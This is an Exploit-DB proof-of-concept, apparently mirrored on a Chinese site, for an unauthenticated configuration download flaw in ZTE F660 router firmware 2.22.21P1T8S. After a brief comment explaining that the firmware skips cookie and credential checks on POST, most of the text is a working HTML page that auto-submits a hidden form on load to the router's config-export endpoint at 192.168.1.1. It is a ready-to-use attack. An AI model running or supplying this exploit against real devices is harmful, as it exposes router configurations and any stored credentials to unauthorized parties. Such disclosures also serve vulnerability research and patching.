ZTE F660 – Remote Configuration Download

  • 作者： Daniel Cisa
    日期： 2015-05-11
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/36978/
  • /*
Exploit Title : ZTE remote configuration download
Date: 09 May 2015
Exploit Author: Daniel Cisa
Vendor Homepage : http://wwwen.zte.com.cn/en/
Platform: Hardware
Tested On : ZTE F660
Firmware Version: 2.22.21P1T8S
--------------------------
 Config remote download
--------------------------
ZTE F660 Embedded Software does not check Cookies And Credentials on POST
method so
attackers could download the config file with this post method without
authentication.

*/
<html>
<body onload="document.fDownload.submit();">
<form name="fDownload" method="POST" action="
http://192.168.1.1/getpage.gch?pid=101&nextpage=manager_dev_config_t.gch"
enctype="multipart/form-data" onsubmit="return false;">
Request Sent....
<input type="hidden" name="config" id="config" value="">
</body>
</html>